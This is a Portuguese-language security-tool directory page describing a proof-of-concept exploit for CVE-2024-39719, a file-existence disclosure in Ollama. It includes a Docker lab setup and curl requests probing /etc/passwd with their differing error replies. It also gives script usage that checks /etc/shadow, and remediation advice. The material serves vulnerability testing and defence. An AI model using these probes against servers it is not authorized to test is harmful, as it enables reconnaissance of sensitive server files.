Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-39719 — Script de exploit em Python para CVE-2024-39719, uma vulnerabilidade de divulgação de existência de arquivo no Ollama. Testa endpoints da API para detectar caminhos de arquivos do servidor, auxiliando na análise de vulnerabilidades e testes de penetração. | Kitploit
Ferramentas/GitHubGitHub/srcx404/cve-2024-39719
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de PenetraçãoAprendizado e Educação
GitHubsrcx404/cve-2024-39719

CVE-2024-39719

Script de exploit em Python para CVE-2024-39719, uma vulnerabilidade de divulgação de existência de arquivo no Ollama. Testa endpoints da API para detectar caminhos de arquivos do servidor, auxiliando na análise de vulnerabilidades e testes de penetração.

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Análise da Vulnerabilidade de Divulgação de Existência de Arquivos do Ollama (CVE-2024-39719)

中文

Visão Geral da Vulnerabilidade

CVE-2024-39719 é uma vulnerabilidade de divulgação de existência de arquivos que afeta o Ollama versões 0.3.14 e anteriores. Esta vulnerabilidade permite que atacantes detectem a existência de arquivos específicos no servidor através de um endpoint de API, potencialmente levando ao vazamento de informações.

Data de Lançamento: 31 de outubro de 2024

Detalhes da Vulnerabilidade

Causa Raiz

A vulnerabilidade existe no endpoint /api/create do Ollama. Quando um atacante chama a API CreateModel com um parâmetro de caminho, o servidor retorna mensagens de erro diferentes com base na existência ou não do caminho. Esse comportamento permite que um atacante determine se um arquivo ou diretório específico existe no servidor analisando as mensagens de erro.

A questão central é que, ao lidar com a entrada do usuário, o sistema expõe diretamente os erros do sistema de arquivos ao cliente, em vez de ocultar adequadamente as informações de existência do caminho.

Versões Afetadas

Esta vulnerabilidade afeta todas as versões do Ollama até a 0.3.14 inclusive.

Impacto

Embora uma vulnerabilidade de divulgação de existência de arquivos possa parecer inicialmente menos grave, ela pode:

  1. Servir como uma etapa preliminar em ataques mais complexos, ajudando atacantes a coletar informações do servidor
  2. Ser usada para detectar a presença de arquivos de configuração críticos, certificados ou arquivos de dados sensíveis
  3. Auxiliar atacantes na realização de ataques mais direcionados
  4. Levar ao vazamento de informações em ambientes específicos, como confirmar a existência de determinados usuários ou características do sistema

Reprodução da Vulnerabilidade

Configuração do Ambiente

  1. Crie um ambiente Ollama vulnerável usando o seguinte arquivo Docker Compose:
root@kitploit:~
services:
  ollama:
    image: ollama/ollama:0.3.14
    container_name: ollama
    volumes:
      - ollama:/root/.ollama
    ports:
      - "11434:11434"

volumes:
  ollama:
  1. Inicie o serviço:
root@kitploit:~
docker compose up -d
  1. Após o serviço iniciar, você pode confirmar que o Ollama 0.3.14 está em execução acessando http://your-ip:11434/.

Passos para Reprodução

1. Testando Arquivos Inexistentes

Envie uma requisição usando curl para tentar acessar um arquivo inexistente:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/tmp/non-existing"}'

Resposta:

root@kitploit:~
{"error":"error reading modelfile: open /tmp/non-existing: no such file or directory"}

2. Testando Arquivos Existentes

Teste para um arquivo existente, como /etc/passwd:

root@kitploit:~
curl "http://your-ip:11434/api/create" -d '{"name": "file-leak-existence","path": "/etc/passwd"}'

Resposta:

root@kitploit:~
{"error":"no FROM line for the model was specified"}

Ao analisar essas diferentes mensagens de erro, um atacante pode determinar se um caminho alvo existe ou não, obtendo informações sobre a estrutura de arquivos do servidor. Observe que as informações retornadas pelo servidor podem variar dependendo da versão.

Remediação da Vulnerabilidade

Correção Oficial

O Ollama corrigiu esta vulnerabilidade em versões mais recentes. As correções incluem:

  1. Padronização do tratamento de erros para evitar o vazamento de informações de existência de arquivos
  2. Implementação de validação e filtragem mais rigorosas dos caminhos fornecidos pelo usuário
  3. Uso de mensagens de erro mais genéricas que não exponham diretamente informações do sistema de arquivos

Passos Recomendados de Remediação

  1. Atualizar o Ollama: A solução mais eficaz é atualizar para a versão mais recente do Ollama.
  2. Controle de Acesso: Restrinja o acesso aos endpoints da API, permitindo apenas usuários autorizados.
  3. Isolamento de Rede: Quando possível, implante serviços Ollama em redes isoladas para reduzir o acesso externo.
  4. Monitoramento: Melhore o monitoramento das chamadas de API, focando especialmente na detecção de padrões de acesso incomuns ao endpoint /api/create.

Uso do Script de Exploração

O script Python fornecido permite testar se um servidor Ollama é vulnerável ao CVE-2024-39719.

Requisitos

  • Python 3.x
  • Pacotes necessários: requests, termcolor

Instalação

root@kitploit:~
pip install requests termcolor

Uso

root@kitploit:~
python CVE_2024_39719.py -u <ollama-server-url> [-f <file-to-check>]

Opções

  • -u, --url: URL do servidor Ollama (obrigatório)
  • -f, --file: Arquivo para verificar a existência (padrão é "/etc/passwd")

Exemplos

root@kitploit:~
# Check if a server is vulnerable
python CVE_2024_39719.py -u http://your-ip:11434

# Check if a specific file exists
python CVE_2024_39719.py -u http://your-ip:11434 -f /etc/shadow

Referências

  • CVE-2024-39719 no National Vulnerability Database
  • Repositório do Ollama no GitHub
  • Avisos de Segurança do Ollama

Aviso Legal

Este script é fornecido apenas para fins educacionais e testes de segurança legítimos. Sempre certifique-se de ter a devida autorização antes de testar qualquer sistema quanto a vulnerabilidades. Testes não autorizados podem violar leis e regulamentos.

Baixar ferramenta